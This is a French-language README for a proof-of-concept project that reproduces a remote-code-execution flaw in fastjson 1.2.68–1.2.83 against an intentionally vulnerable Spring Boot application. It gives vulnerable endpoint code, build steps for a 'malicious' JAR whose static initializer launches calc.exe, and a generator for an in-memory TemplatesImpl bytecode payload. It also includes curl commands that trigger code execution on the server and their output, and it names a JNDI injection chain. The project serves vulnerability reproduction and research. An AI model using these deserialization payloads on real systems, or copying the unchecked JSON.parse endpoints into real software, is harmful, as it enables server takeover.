
Projet de reproduction pour CVE-2026-16723, une RCE critique dans fastjson 1.2.68-1.2.83. Démontre le contournement d'AutoType, l'injection JNDI et les payloads en mémoire TemplatesImpl avec des endpoints Spring Boot vulnérables.
Ce projet reproduit CVE-2026-16723 — une vulnérabilité critique d'exécution de code à distance (RCE) dans fastjson 1.2.68 à 1.2.83. La vulnérabilité permet une RCE avec la configuration par défaut, sans nécessiter l'activation d'AutoType ni de gadgets préexistants sur le classpath.
| Propriété | Valeur |
|---|---|
| ID CVE | CVE-2026-16723 |
| Composant | fastjson |
| Versions affectées | 1.2.68 – 1.2.83 |
| Versions corrigées | 1.2.84+, 2.0.0+ |
| Type de vulnérabilité | Désérialisation / RCE |
| Sévérité | CVSS 3.1 : 9.0 (CRITIQUE) |
| Vecteur d'attaque | Réseau |
| Complexité | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
fastjson-cve-2026-16723/
├── pom.xml # Projet principal (application Spring Boot avec fastjson vulnérable)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Point d'entrée Spring Boot
│ └── controller/
│ └── VulnerableController.java # Points de terminaison REST vulnérables
├── malicious/ # Module séparé : JAR malveillant pour simulation de chaîne d'approvisionnement
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # Classe malveillante avec initialiseur statique
│ ├── EvilTranslet.java # Translet malveillant pour le mode mémoire de TemplatesImpl
│ └── GenTemplatesPayload.java # Génère la charge utile JSON TemplatesImpl
├── templates-payload.json # Charge utile TemplatesImpl générée (variante directe)
├── templates-payload-preload.json # Charge utile TemplatesImpl générée (variante préchargement de classe)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 contient un contournement du mécanisme de protection AutoType. Même avec la configuration par défaut (autoTypeSupport=false), les attaquants peuvent instancier des classes arbitraires via des charges utiles JSON spécialement conçues en utilisant des chaînes d'exploitation telles que :
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (injection JNDI)java.lang.Runtime (exécution directe de commandes)@type : exploit.MaliciousClass)VulnerableController.java — deux points de terminaison démontrent le problème :
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Vulnérable : JSON.parseObject avec configuration par défaut
// Aucun ParserConfig.getGlobalInstance().setAutoTypeSupport(true) requis !
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Force la désérialisation en Object — déclenche l'instanciation réelle de la classe
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# Construire l'application principale
mvn clean package -DskipTests
# Construire le JAR malveillant (module séparé)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR Spring Boot completmalicious/target/malicious-jar-1.0.jar — JAR malveillant avec exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Le serveur démarre sur http://localhost:8080
Exigence d'exécution : ce projet cible Java 8 et le mode mémoire de TemplatesImpl est vérifié sur JDK 8. Sur JDK 9+, le système de modules bloque l'accès réflexif aux internes de
java.xml, donc la chaîne échoue avecError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplà moins d'ajouter les options--add-opens:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
Le pom.xml principal déclare le JAR malveillant comme dépendance, il est donc inclus dans le JAR complet :
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
Vérification à l'exécution :
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
Résultat attendu : CVE-2026-16723 Reproduction Endpoint Ready...
Le module malicious fournit exploit.MaliciousClass avec un initialiseur statique qui exécute calc.exe au chargement de la classe.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
Résultat :
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
Et calc.exe se lance sur le serveur.
Remarque : Cela démontre un scénario de chaîne d'approvisionnement où une dépendance malveillante est présente sur le classpath. La vulnérabilité permet l'instanciation de toute classe présente sur le classpath, pas seulement les classes JDK.
Contrairement au mode chaîne d'approvisionnement (qui nécessite la classe malveillante sur le classpath) et au mode JNDI (qui nécessite un serveur LDAP/RMI), ce mode intègre le bytecode malveillant directement dans la charge utile et le charge depuis la mémoire via com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — rien d'autre ne doit être déployé.
Étape 1 — générer la charge utile :
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
Ceci compile exploit.EvilTranslet (une sous-classe d'AbstractTranslet dont l'initialiseur statique exécute calc.exe), encode en base64 ses octets .class, et écrit :
templates-payload.json — variante directe ("@type": "TemplatesImpl")templates-payload-preload.json — variante préchargement java.lang.ClassÉtape 2 — déclencher la charge utile :
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
Résultat :
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
Et calc.exe se lance sur le serveur.